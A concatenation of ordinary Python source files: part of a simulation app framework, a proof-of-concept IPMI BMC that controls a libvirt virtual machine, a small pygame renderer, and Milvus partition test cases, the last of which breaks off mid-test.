assert isinstance(value, (np.ndarray, Field, float, int, math.Tensor)), 'Unsupported type for field "%s": %s' % (name, type(value))
def get_constant():
return value
generator = get_constant
self.fields[name] = TimeDependentField(name, generator)
@property
def actions(self):
"""
List of all custom actions that can be invoked at runtime by the user.
Actions can be registered using `add_action()` or by defining a method with prefix `action_`.
"""
return self._actions
def add_action(self, name, methodcall):
self._actions.append(Action(name, methodcall, name))
def run_action(self, action):
message_before = self.message
action.method()
self.invalidate()
message_after = self.message
if message_before == message_after:
if self.message is None or self.message == '':
self.message = display_name(action.name)
else:
self.message += ' | ' + display_name(action.name)
@property
def traits(self):
return self._traits
def add_trait(self, trait):
assert not self.prepared, 'Cannot add traits to a prepared model'
self._traits.append(trait)
@property
def controls(self):
return self._controls
def prepare(self):
"""
Prepares the app to be displayed in a user interface.
This method can only be called once.
If not invoked manually, it is automatically called before the user interface is launched.
Preparation includes:
* Detecting editable values from member variables that start with 'value_'
* Detecting actions from member functions that start with 'action_'
* Initializing the scene directory with a JSON file and copying related Python source files
:return: self
Args:
Returns:
"""
if self.prepared:
return
logging.info('Gathering model data...')
# Controls
for name in self.__dict__:
val = getattr(self, name)
editable_value = None
if isinstance(val, EditableValue):
editable_value = val
setattr(self, name, val.initial_value) # Replace EditableValue with initial value
elif name.startswith('value_'):
value_name = display_name(name[6:])
dtype = type(val)
if dtype == bool:
editable_value = EditableBool(value_name, val)
elif isinstance(val, numbers.Integral): # Int
editable_value = EditableInt(value_name, val)
elif isinstance(val, numbers.Number): # Float
editable_value = EditableFloat(value_name, val)
elif isinstance(val, str):
editable_value = EditableString(value_name, val)
if editable_value:
self._controls.append(Control(self, name, editable_value))
# Actions
for method_name in dir(self):
if method_name.startswith('action_') and callable(getattr(self, method_name)):
self._actions.append(Action(display_name(method_name[7:]), getattr(self, method_name), method_name))
# Default fields
if len(self.fields) == 0:
self._add_default_fields()
# Scene
self._update_scene_properties()
source_files_to_save = set()
for object in self.objects_to_save:
try:
source_files_to_save.add(inspect.getabsfile(object))
except TypeError:
pass
for source_file in source_files_to_save:
self.scene.copy_src(source_file)
# End
self.prepared = True
return self
def _add_default_fields(self):
def add_default_field(trace):
field = trace.value
if isinstance(field, (CenteredGrid, StaggeredGrid)):
def field_generator():
world_state = self.world.state
return trace.find_in(world_state)
self.add_field(field.name[0].upper() + field.name[1:], field_generator)
return None
struct.map(add_default_field, self.world.state, leaf_condition=lambda x: isinstance(x, (CenteredGrid, StaggeredGrid)), trace=True, content_type=struct.INVALID)
def add_custom_property(self, key, value):
self._custom_properties[key] = value
if self.prepared:
self._update_scene_properties()
def add_custom_properties(self, dictionary):
self._custom_properties.update(dictionary)
if self.prepared:
self._update_scene_properties()
def _update_scene_properties(self):
if self.uses_existing_scene:
return
try:
app_name = os.path.basename(inspect.getfile(self.__class__))
app_path = inspect.getabsfile(self.__class__)
except TypeError:
app_name = app_path = ''
properties = {
'instigator': 'App',
'traits': self.traits,
'app': str(app_name),
'app_path': str(app_path),
'name': self.name,
'description': self.subtitle,
'all_fields': self.fieldnames,
'actions': [action.name for action in self.actions],
'controls': [{control.name: control.value} for control in self.controls],
'summary': self.scene_summary(),
'steps': self.steps,
'time': self.time,
'world': struct.properties_dict(self.world.state)
}
properties.update(self.custom_properties())
self.scene.properties = properties
def settings_str(self):
return ''.join([
' ' + str(control) for control in self.controls
])
def custom_properties(self):
return self._custom_properties
def info(self, message: str):
"""
Update the status message.
The status message is written to the console and the log file.
Additionally, it may be displayed by the user interface.
See `debug()`.
Args:
message: Message to display
"""
message = str(message)
self.message = message
self.logger.info(message)
def debug(self, message):
"""
Prints a message to the log file but does not display it.
See `info()`.
Args:
message: Message to log.
"""
logging.info(message)
def scene_summary(self):
return self.summary
def show(self, **config):
warnings.warn("Use show(model) instead.", DeprecationWarning, stacklevel=2)
from ._display import show
show(self, **config)
@property
def status(self):
pausing = '/Pausing' if (self._pause and self.current_action) else ''
action = self.current_action if self.current_action else 'Idle'
message = f' - {self.message}' if self.message else ''
return f'{action}{pausing} (t={self.format_time(self.time)} in {self.steps} steps){message}'
def format_time(self, time):
commas = int(np.ceil(np.abs(np.log10(self.min_dt))))
return ("{time:," + f".{commas}f" + "}").format(time=time)
def run_step(self, framerate=None):
self.current_action = 'Running'
starttime = time.time()
try:
self._progress()
if framerate is not None:
duration = time.time() - starttime
rest = 1.0 / framerate - duration
if rest > 0:
self.current_action = 'Waiting'
time.sleep(rest)
except Exception as e:
self.info('Error during %s.step() \n %s: %s' % (type(self).__name__, type(e).__name__, e))
self.logger.exception(e)
finally:
self.current_action = None
def play(self, max_steps=None, callback=None, framerate=None, callback_if_aborted=False):
"""
Run a number of steps.
Args:
max_steps: (optional) stop when this many steps have been completed (independent of the `steps` variable) or `pause()` is called.
callback: Function to be run after all steps have been completed.
framerate: Target frame rate in Hz.
callback_if_aborted: Whether to invoke `callback` if `pause()` causes this method to abort prematurely.
Returns:
self
"""
if framerate is None:
framerate = self.framerate
def target():
self._pause = False
step_count = 0
while not self._pause:
self.run_step(framerate=framerate)
step_count += 1
if max_steps and step_count >= max_steps:
break
if callback is not None:
if not self._pause or callback_if_aborted:
callback()
thread = threading.Thread(target=target)
thread.start()
return self
def pause(self):
""" Causes the `play()` method to stop after finishing the current step. """
self._pause = True
@property
def running(self):
""" Whether `play()` is currently executing. """
return self.current_action is not None
def benchmark(self, sequence_count):
self._pause = False
step_count = 0
starttime = time.time()
for i in range(sequence_count):
self.run_step(framerate=np.inf)
step_count += 1
if self._pause:
break
time_elapsed = time.time() - starttime
return step_count, time_elapsed
def display_name(python_name):
n = list(python_name)
n[0] = n[0].upper()
for i in range(1, len(n)):
if n[i] == '_':
n[i] = ' '
if len(n) > i + 1:
n[i + 1] = n[i + 1].upper()
return ''.join(n)
|
virshbmc.py | #!/usr/bin/env python
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Written by pmartini2, but mostly a clone of fakebmc, written by jjohnson2
# __author__ = 'pmartini2@bloomberg.net'
# This is a simple, but working proof of concept of using pyghmi.ipmi.bmc to
# control a VM
import argparse
import libvirt
import pyghmi.ipmi.bmc as bmc
import sys
import threading
def lifecycle_callback(connection, domain, event, detail, console):
console.state = console.domain.state(0)
def error_handler(unused, error):
if (error[0] == libvirt.VIR_ERR_RPC and
error[1] == libvirt.VIR_FROM_STREAMS):
return
def stream_callback(stream, events, console):
try:
data = console.stream.recv(1024)
except Exception:
return
if console.sol:
console.sol.send_data(data)
class LibvirtBmc(bmc.Bmc):
"""A class to provide an IPMI interface to the VirtualBox APIs."""
def __init__(self, authdata, hypervisor, domain, port):
super(LibvirtBmc, self).__init__(authdata, port)
# Rely on libvirt to throw on bad data
self.conn = libvirt.open(hypervisor)
self.name = domain
self.domain = self.conn.lookupByName(domain)
self.state = self.domain.state(0)
self.stream = None
self.run_console = False
self.conn.domainEventRegister(lifecycle_callback, self)
self.sol_thread = None
def cold_reset(self):
# Reset of the BMC, not managed system, here we will exit the demo
print('shutting down in response to BMC cold reset request')
sys.exit(0)
def get_power_state(self):
if self.domain.isActive():
return 'on'
else:
return 'off'
def power_off(self):
if not self.domain.isActive():
return 0xd5 # Not valid in this state
self.domain.destroy()
def power_on(self):
if self.domain.isActive():
return 0xd5 # Not valid in this state
self.domain.create()
def power_reset(self):
if not self.domain.isActive():
return 0xd5 # Not valid in this state
self.domain.reset()
def power_shutdown(self):
if not self.domain.isActive():
return 0xd5 # Not valid in this state
self.domain.shutdown()
def is_active(self):
return self.domain.isActive()
def check_console(self):
if (self.state[0] == libvirt.VIR_DOMAIN_RUNNING or
self.state[0] == libvirt.VIR_DOMAIN_PAUSED):
if self.stream is None:
self.stream = self.conn.newStream(libvirt.VIR_STREAM_NONBLOCK)
self.domain.openConsole(None, self.stream, 0)
self.stream.eventAddCallback(libvirt.VIR_STREAM_EVENT_READABLE,
stream_callback, self)
else:
if self.stream:
self.stream.eventRemoveCallback()
self.stream = None
return self.run_console
def activate_payload(self, request, session):
super(LibvirtBmc, self).activate_payload(request, session)
self.run_console = True
self.sol_thread = threading.Thread(target=self.loop)
self.sol_thread.start()
def deactivate_payload(self, request, session):
self.run_console = False
self.sol_thread.join()
super(LibvirtBmc, self).deactivate_payload(request, session)
def iohandler(self, data):
if self.stream:
self.stream.send(data)
def loop(self):
while self.check_console():
libvirt.virEventRunDefaultImpl()
def main():
parser = argparse.ArgumentParser(
prog='virshbmc',
description='Pretend to be a BMC and proxy to virsh',
formatter_class=argparse.ArgumentDefaultsHelpFormatter
)
parser.add_argument('--port',
dest='port',
type=int,
default=623,
help='(UDP) port to listen on')
parser.add_argument('--connect',
dest='hypervisor',
default='qemu:///system',
help='The hypervisor to connect to')
parser.add_argument('--domain',
dest='domain',
required=True,
help='The name of the domain to manage')
args = parser.parse_args()
libvirt.virEventRegisterDefaultImpl()
libvirt.registerErrorHandler(error_handler, None)
mybmc = LibvirtBmc({'admin': 'password'},
hypervisor=args.hypervisor,
domain=args.domain,
port=args.port)
mybmc.listen()
if __name__ == '__main__':
sys.exit(main())
|
renderer.py | import pygame
from threading import Thread
size=int(input("input size: "))
class rendered():
def __init__(self,color,pos,radious) -> None:
self.color=color
self.pos=pos
self.rad=radious
def move(self,new):
self.pos = (self.pos[0]+new[0],self.pos[1]+new[1])
class enemy(rendered):
def __init__(self,color,pos,radious,hp,damage) -> None:
super().__init__(color, pos, radious)
self.hp=hp
self.damage=damage
player=False
screen = pygame.display.set_mode((size,size))
ren=[]
enemies=[]
cl =pygame.time.Clock()
objects = {
"objects":[],
"ids ":[]
}
def get_object_from_pos(pos) -> rendered:
global ren
for i in ren:
if i.pos == pos:
return i
def get_enemy_from_pos(pos) -> enemy:
global enemies
for i in enemies:
if i.pos == pos:
return i
def loop():
while True:
cl.tick(30)
for ev in pygame.event.get():
if ev.type == pygame.QUIT:
import network
network.client.send("quit".encode())
pygame.quit()
screen.fill((24, 119, 9))
for i in range(40):
pygame.draw.rect(screen,(0,0,0),(i*(size/40),0,1,800))
for i in range(40):
pygame.draw.rect(screen,(0,0,0),(0,i*(size/40),800,1))
for i in ren:
pygame.draw.circle(screen,i.color,(i.pos[0]*(size/80),i.pos[1]*(size/80)),i.rad)
for i in enemies:
pygame.draw.circle(screen,i.color,(i.pos[0]*(size/80),i.pos[1]*(size/80)),i.rad)
pygame.display.update()
Thread(target=loop).start() |
test_partition.py | import threading
import pytest
from base.partition_wrapper import ApiPartitionWrapper
from base.client_base import TestcaseBase
from common import common_func as cf
from common import common_type as ct
from utils.util_log import test_log as log
from common.common_type import CaseLabel, CheckTasks
from common.code_mapping import PartitionErrorMessage
prefix = "partition_"
class TestPartitionParams(TestcaseBase):
""" Test case of partition interface in parameters"""
@pytest.mark.tags(CaseLabel.L0)
def test_partition_default(self):
"""
target: verify create a partition
method: create a partition
expected: create successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_unique_str(prefix)
description = cf.gen_unique_str("desc_")
self.init_partition_wrap(collection_w, partition_name,
description=description,
check_task=CheckTasks.check_partition_property,
check_items={"name": partition_name, "description": description,
"is_empty": True, "num_entities": 0}
)
# check that the partition has been created
assert collection_w.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L2)
@pytest.mark.parametrize("partition_name", [""])
def test_partition_empty_name(self, partition_name):
"""
target: verify create a partition with empty name
method: create a partition with empty name
expected: raise exception
"""
# create a collection
collection_w = self.init_collection_wrap()
# create partition
self.partition_wrap.init_partition(collection_w.collection, partition_name,
check_task=CheckTasks.err_res,
check_items={ct.err_code: 1,
ct.err_msg: "Partition name should not be empty"})
@pytest.mark.tags(CaseLabel.L2)
def test_partition_empty_description(self):
"""
target: verify create a partition with empty description
method: create a partition with empty description
expected: create successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# init partition
partition_name = cf.gen_unique_str(prefix)
description = ""
self.init_partition_wrap(collection_w, partition_name,
description=description,
check_task=CheckTasks.check_partition_property,
check_items={"name": partition_name, "description": description,
"is_empty": True, "num_entities": 0}
)
# check that the partition has been created
assert collection_w.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L2)
def test_partition_max_description_length(self):
"""
target: verify create a partition with 255 length name and 1024 length description
method: create a partition with 255 length name and 1024 length description
expected: create successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# init partition
partition_name = cf.gen_str_by_length(255)
description = cf.gen_str_by_length(2048)
self.init_partition_wrap(collection_w, partition_name,
description=description,
check_task=CheckTasks.check_partition_property,
check_items={"name": partition_name, "description": description,
"is_empty": True}
)
@pytest.mark.tags(CaseLabel.L1)
def test_partition_dup_name(self):
"""
target: verify create partitions with duplicate names
method: create partitions with duplicate names
expected: 1. create successfully
2. the same partition returned with diff object ids
"""
# create a collection
collection_w = self.init_collection_wrap()
# create two partitions
partition_name = cf.gen_unique_str(prefix)
description = cf.gen_unique_str()
partition_w1 = self.init_partition_wrap(collection_w, partition_name, description)
partition_w2 = self.init_partition_wrap(collection_w, partition_name, description)
# public check func to be extracted
assert id(partition_w1.partition) != id(partition_w2.partition)
assert partition_w1.name == partition_w2.name
assert partition_w1.description == partition_w2.description
@pytest.mark.tags(CaseLabel.L2)
@pytest.mark.parametrize("description", ct.get_invalid_strs)
def test_partition_special_chars_description(self, description):
"""
target: verify create a partition with special characters in description
method: create a partition with special characters in description
expected: create successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_unique_str(prefix)
self.init_partition_wrap(collection_w, partition_name,
description=description,
check_task=CheckTasks.check_partition_property,
check_items={"name": partition_name, "description": description,
"is_empty": True, "num_entities": 0}
)
assert collection_w.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L0)
def test_partition_default_name(self):
"""
target: verify create a partition with default name
method: 1. get the _default partition
2. create a partition with _default name
expected: the same partition returned
"""
# create collection
collection_w = self.init_collection_wrap()
# check that the default partition exists
assert collection_w.has_partition(ct.default_partition_name)[0]
# check that can get the _default partition
collection, _ = collection_w.partition(ct.default_partition_name)
# check that init the _default partition object
partition_w = self.init_partition_wrap(collection_w, ct.default_partition_name)
assert collection.name == partition_w.name
@pytest.mark.tags(CaseLabel.L2)
def test_partition_max_length_name(self):
"""
target: verify create a partition with max length(256) name
method: create a partition with max length name
expected: raise exception
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_str_by_length(256)
self.partition_wrap.init_partition(collection_w.collection, partition_name,
check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, 'err_msg': "is illegal"}
)
@pytest.mark.tags(CaseLabel.L2)
@pytest.mark.parametrize("partition_name", ct.get_invalid_strs)
def test_partition_invalid_name(self, partition_name):
"""
target: verify create a partition with invalid name
method: create a partition with invalid names
expected: raise exception
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
self.partition_wrap.init_partition(collection_w.collection, partition_name,
check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, 'err_msg': "is illegal"}
)
# TODO: need an error code issue #5144 and assert independently
@pytest.mark.tags(CaseLabel.L2)
def test_partition_none_collection(self):
"""
target: verify create a partition with none collection
method: create a partition with none collection
expected: raise exception
"""
# create partition with collection is None
partition_name = cf.gen_unique_str(prefix)
self.partition_wrap.init_partition(collection=None, name=partition_name,
check_task=CheckTasks.err_res,
check_items={ct.err_code: 1,
ct.err_msg: "must be pymilvus.Collection"})
@pytest.mark.tags(CaseLabel.L1)
def test_partition_drop(self):
"""
target: verify drop a partition in one collection
method: 1. create a partition in one collection
2. drop the partition
expected: drop successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
# check that the partition exists
assert collection_w.has_partition(partition_name)[0]
# drop partition
partition_w.drop()
# check that the partition not exists
assert not collection_w.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L2)
def test_load_partiton_respectively(self):
"""
target: test release the partition after load partition
method: load partition1 and load another partition
expected: raise exception
"""
self._connect()
collection_w = self.init_collection_wrap()
partition_w1 = self.init_partition_wrap(collection_w)
partition_w2 = self.init_partition_wrap(collection_w)
partition_w1.insert(cf.gen_default_list_data())
partition_w2.insert(cf.gen_default_list_data())
partition_w1.load()
error = {ct.err_code: 1, ct.err_msg: f'load the partition after load collection is not supported'}
partition_w2.load(check_task=CheckTasks.err_res,
check_items=error)
@pytest.mark.tags(CaseLabel.L2)
def test_load_partitions_after_release(self):
"""
target: test release the partition after load partition
method: load partitions and release partitions
expected: no exception
"""
self._connect()
collection_w = self.init_collection_wrap()
partition_w1 = self.init_partition_wrap(collection_w, name="partition_w1")
partition_w2 = self.init_partition_wrap(collection_w, name="partition_w2")
partition_w1.insert(cf.gen_default_list_data())
partition_w2.insert(cf.gen_default_list_data())
partition_names = ["partition_w1", "partition_w2"]
collection_w.load(partition_names)
collection_w.release(partition_names)
@pytest.mark.tags(CaseLabel.L2)
def test_load_partition_after_load_partition(self):
"""
target: test release the partition after load partition
method: load partition1 and release the partition1
load partition2
expected: no exception
"""
self._connect()
collection_w = self.init_collection_wrap()
partition_w1 = self.init_partition_wrap(collection_w)
partition_w2 = self.init_partition_wrap(collection_w)
partition_w1.insert(cf.gen_default_list_data())
partition_w2.insert(cf.gen_default_list_data())
partition_w1.load()
partition_w1.release()
partition_w2.load()
@pytest.fixture(scope="function", params=ct.get_invalid_strs)
def get_non_number_replicas(self, request):
if request.param == 1:
pytest.skip("1 is valid replica number")
if request.param is None:
pytest.skip("None is valid replica number")
yield request.param
@pytest.mark.tags(CaseLabel.L2)
def test_load_partition_replica_non_number(self, get_non_number_replicas):
"""
target: test load partition with non-number replicas
method: load with non-number replicas
expected: raise exceptions
"""
# create, insert
self._connect()
collection_w = self.init_collection_wrap()
partition_w = self.init_partition_wrap(collection_w)
partition_w.insert(cf.gen_default_list_data(nb=100))
# load with non-number replicas
error = {ct.err_code: 0, ct.err_msg: f"but expected one of: int, long"}
partition_w.load(replica_number=get_non_number_replicas, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.L2)
@pytest.mark.parametrize("replicas", [0, -1, None])
def test_load_replica_invalid_number(self, replicas):
"""
target: test load partition with invalid replica number
method: load with invalid replica number
expected: raise exception
"""
# create, insert
self._connect()
collection_w = self.init_collection_wrap()
partition_w = self.init_partition_wrap(collection_w)
partition_w.insert(cf.gen_default_list_data())
assert partition_w.num_entities == ct.default_nb
partition_w.load(replica_number=replicas)
p_replicas = partition_w.get_replicas()[0]
assert len(p_replicas.groups) == 1
query_res, _ = partition_w.query(expr=f"{ct.default_int64_field_name} in [0]")
assert len(query_res) == 1
@pytest.mark.tags(CaseLabel.L2)
def test_load_replica_greater_than_querynodes(self):
"""
target: test load with replicas that greater than querynodes
method: load with 3 replicas (2 querynode)
expected: Verify load successfully and 1 available replica
"""
# create, insert
self._connect()
collection_w = self.init_collection_wrap()
partition_w = self.init_partition_wrap(collection_w)
partition_w.insert(cf.gen_default_list_data())
assert partition_w.num_entities == ct.default_nb
# load with 2 replicas
error = {ct.err_code: 1, ct.err_msg: f"no enough nodes to create replicas"}
partition_w.load(replica_number=3, check_task=CheckTasks.err_res, check_items=error)
@pytest.mark.tags(CaseLabel.ClusterOnly)
def test_load_replica_change(self):
"""
target: test load replica change
method: 1.load with replica 1
2.load with a new replica number
3.release partition
4.load with a new replica
expected: The second time successfully loaded with a new replica number
"""
# create, insert
self._connect()
collection_w = self.init_collection_wrap()
partition_w = self.init_partition_wrap(collection_w)
partition_w.insert(cf.gen_default_list_data())
assert partition_w.num_entities == ct.default_nb
partition_w.load(replica_number=1)
collection_w.query(expr=f"{ct.default_int64_field_name} in [0]", check_task=CheckTasks.check_query_results,
check_items={'exp_res': [{'int64': 0}]})
error = {ct.err_code: 5, ct.err_msg: f"Should release first then reload with the new number of replicas"}
partition_w.load(replica_number=2, check_task=CheckTasks.err_res, check_items=error)
partition_w.release()
partition_w.load(replica_number=2)
collection_w.query(expr=f"{ct.default_int64_field_name} in [0]", check_task=CheckTasks.check_query_results,
check_items={'exp_res': [{'int64': 0}]})
two_replicas, _ = collection_w.get_replicas()
assert len(two_replicas.groups) == 2
# verify loaded segments included 2 replicas and twice num entities
seg_info = self.utility_wrap.get_query_segment_info(collection_w.name)[0]
num_entities = 0
for seg in seg_info:
assert len(seg.nodeIds) == 2
num_entities += seg.num_rows
assert num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.ClusterOnly)
def test_partition_replicas_change_cross_partitions(self):
"""
target: test load with different replicas between partitions
method: 1.Create two partitions and insert data
2.Load two partitions with different replicas
expected: Raise an exception
"""
# Create two partitions and insert data
collection_w = self.init_collection_wrap()
partition_w1 = self.init_partition_wrap(collection_w)
partition_w2 = self.init_partition_wrap(collection_w)
partition_w1.insert(cf.gen_default_dataframe_data())
partition_w2.insert(cf.gen_default_dataframe_data(start=ct.default_nb))
assert collection_w.num_entities == ct.default_nb * 2
# load with different replicas
partition_w1.load(replica_number=1)
partition_w1.release()
partition_w2.load(replica_number=2)
# verify different have same replicas
replicas_1, _ = partition_w1.get_replicas()
replicas_2, _ = partition_w2.get_replicas()
group1_ids = list(map(lambda g: g.id, replicas_1.groups))
group2_ids = list(map(lambda g: g.id, replicas_1.groups))
assert group1_ids.sort() == group2_ids.sort()
# verify loaded segments included 2 replicas and 1 partition
seg_info = self.utility_wrap.get_query_segment_info(collection_w.name)[0]
num_entities = 0
for seg in seg_info:
assert len(seg.nodeIds) == 2
num_entities += seg.num_rows
assert num_entities == ct.default_nb
@pytest.mark.tags(CaseLabel.L1)
def test_partition_release(self):
"""
target: verify release partition
method: 1. create a collection and two partitions
2. insert data into each partition
3. flush and load the partition1
4. release partition1
5. release partition2
expected: 1. the 1st partition is released
2. the 2nd partition is released
"""
# create collection
collection_w = self.init_collection_wrap()
# create two partitions
partition_w1 = self.init_partition_wrap(collection_w)
partition_w2 = self.init_partition_wrap(collection_w)
# insert data to two partition
partition_w1.insert(cf.gen_default_list_data())
partition_w2.insert(cf.gen_default_list_data())
# load two partitions
partition_w1.load()
# search partition1
search_vectors = cf.gen_vectors(1, ct.default_dim)
res1, _ = partition_w1.search(data=search_vectors,
anns_field=ct.default_float_vec_field_name,
params={"nprobe": 32}, limit=1)
assert len(res1) == 1
# release the first partition
partition_w1.release()
partition_w2.release()
# check result
res1, _ = partition_w1.search(data=search_vectors,
anns_field=ct.default_float_vec_field_name,
params={"nprobe": 32}, limit=1,
check_task=ct.CheckTasks.err_res,
check_items={ct.err_code: 1, ct.err_msg: "partitions have been released"})
@pytest.mark.tags(CaseLabel.L1)
@pytest.mark.parametrize("data", [cf.gen_default_dataframe_data(10),
cf.gen_default_list_data(10),
cf.gen_default_tuple_data(10)])
def test_partition_insert(self, data):
"""
target: verify insert entities multiple times
method: 1. create a collection and a partition
2. partition.insert(data)
3. insert data again
expected: insert data successfully
"""
nums = 10
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name,
check_task=CheckTasks.check_partition_property,
check_items={"name": partition_name,
"is_empty": True, "num_entities": 0}
)
# insert data
partition_w.insert(data)
# self._connect().flush([collection_w.name]) # don't need flush for issue #5737
assert not partition_w.is_empty
assert partition_w.num_entities == nums
# insert data
partition_w.insert(data)
# self._connect().flush([collection_w.name])
assert not partition_w.is_empty
assert partition_w.num_entities == (nums + nums)
class TestPartitionOperations(TestcaseBase):
""" Test case of partition interface in operations """
@pytest.mark.tags(CaseLabel.L1)
def test_partition_dropped_collection(self):
"""
target: verify create partition against a dropped collection
method: 1. create a collection
2. drop collection
3. create partition in collection
expected: raise exception
"""
# create collection
collection_w = self.init_collection_wrap()
# drop collection
collection_w.drop()
# create partition failed
self.partition_wrap.init_partition(collection_w.collection, cf.gen_unique_str(prefix),
check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, ct.err_msg: "can't find collection"})
@pytest.mark.tags(CaseLabel.L2)
def test_partition_same_name_in_diff_collections(self):
"""
target: verify create partitions with same name in diff collections
method: 1. create a partition in collection1
2. create a partition in collection2
expected: create successfully
"""
# create two collections
collection_w1 = self.init_collection_wrap()
collection_w2 = self.init_collection_wrap()
# create 2 partitions in 2 diff collections
partition_name = cf.gen_unique_str(prefix)
self.init_partition_wrap(collection_wrap=collection_w1, name=partition_name)
self.init_partition_wrap(collection_wrap=collection_w2, name=partition_name)
# check result
assert collection_w1.has_partition(partition_name)[0]
assert collection_w2.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L2)
def test_partition_multi_partitions_in_collection(self):
"""
target: verify create multiple partitions in one collection
method: create multiple partitions in one collection
expected: create successfully
"""
# create collection
collection_w = self.init_collection_wrap()
for _ in range(10):
partition_name = cf.gen_unique_str(prefix)
# create partition with different names and check the partition exists
self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L2)
@pytest.mark.skip(reason="skip temporarily for debug")
def test_partition_maximum_partitions(self):
"""
target: verify create maximum partitions
method: 1. create maximum partitions
2. create one more partition
expected: raise exception
"""
threads_num = 8
threads = []
def create_partition(collection, threads_n):
for _ in range(ct.max_partition_num // threads_n):
name = cf.gen_unique_str(prefix)
par_wrap = ApiPartitionWrapper()
par_wrap.init_partition(collection, name, check_task=CheckTasks.check_nothing)
collection_w = self.init_collection_wrap()
for _ in range(threads_num):
t = threading.Thread(target=create_partition, args=(collection_w.collection, threads_num))
threads.append(t)
t.start()
for t in threads:
t.join()
p_name = cf.gen_unique_str()
self.partition_wrap.init_partition(
collection_w.collection, p_name,
check_task=CheckTasks.err_res,
check_items={ct.err_code: 1,
ct.err_msg: "maximum partition's number should be limit to 4096"})
# TODO: Try to verify load collection with a large number of partitions. #11651
@pytest.mark.tags(CaseLabel.L0)
def test_partition_drop_default_partition(self):
"""
target: verify drop the _default partition
method: drop the _default partition
expected: raise exception
"""
# create collection
collection_w = self.init_collection_wrap()
# get the default partition
default_partition, _ = collection_w.partition(ct.default_partition_name)
partition_w = self.init_partition_wrap(collection_w, ct.default_partition_name)
assert default_partition.name == partition_w.name
# verify that drop partition with error
partition_w.drop(check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, ct.err_msg: "default partition cannot be deleted"})
@pytest.mark.tags(CaseLabel.L1)
def test_partition_drop_partition_twice(self):
"""
target: verify drop the same partition twice
method: 1.create a partition with default schema
2. drop the partition
3. drop the same partition again
expected: raise exception for 2nd time
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
collection_w.has_partition(partition_name)
# drop partition
partition_w.drop()
assert not collection_w.has_partition(partition_name)[0]
# verify that drop the partition again with exception
partition_w.drop(check_task=CheckTasks.err_res,
check_items={ct.err_code: 1, ct.err_msg: PartitionErrorMessage.PartitionNotExist})
@pytest.mark.tags(CaseLabel.L2)
def test_partition_create_and_drop_multi_times(self):
"""
target: verify create and drop for times
method: 1. create a partition with default schema
2. drop the partition
3. loop #1 and #2 for times
expected: create and drop successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# range for 5 times
partition_name = cf.gen_unique_str(prefix)
for i in range(5):
# create partition and check that the partition exists
partition_w = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_name)[0]
# drop partition and check that the partition not exists
partition_w.drop()
assert not collection_w.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L1)
def test_partition_drop_non_empty_partition(self):
"""
target: verify drop a partition which has data inserted
method: 1. create a partition with default schema
2. insert some data
3. drop the partition
expected: drop successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_name)[0]
# insert data to partition
partition_w.insert(cf.gen_default_dataframe_data())
# drop partition
partition_w.drop()
assert not collection_w.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L2)
@pytest.mark.parametrize("data", [cf.gen_default_list_data(nb=3000)])
@pytest.mark.parametrize("index_param", cf.gen_simple_index())
def test_partition_drop_indexed_partition(self, data, index_param):
"""
target: verify drop an indexed partition
method: 1. create a partition
2. insert same data
3. create an index
4. drop the partition
expected: drop successfully
"""
# create collection
collection_w = self.init_collection_wrap()
# create partition
partition_name = cf.gen_unique_str(prefix)
partition_w = self.init_partition_wrap(collection_w, partition_name)
assert collection_w.has_partition(partition_name)[0]
# insert data to partition
ins_res, _ = partition_w.insert(data)
assert len(ins_res.primary_keys) == len(data[0])
# create index of collection
collection_w.create_index(ct.default_float_vec_field_name, index_param)
# drop partition
partition_w.drop()
assert not collection_w.has_partition(partition_name)[0]
@pytest.mark.tags(CaseLabel.L2)
def test_partition_release_empty_partition(self):
"""
target: verify release an empty partition
method: 1. create a partition
2. release the partition
expected: release successfully
"""
# create partition
partition_w = self.init_partition_wrap()
assert partition_w.is_empty
# release partition
partition_w.release()
# TODO: assert no more memory consumed
@pytest.mark.tags(CaseLabel.L2)
def test_partition_release_dropped_partition(self):
"""
target: verify release a dropped partition
method: 1. create a partition
2. drop the partition
3. release the partition
expected: raise exception
"""
# create partition
partition_w = self.init_partition_wrap()
# drop partition
partition_w.drop()
# release the dropped partition and check err response
partition_w.release(check_task=CheckTasks.err_res,
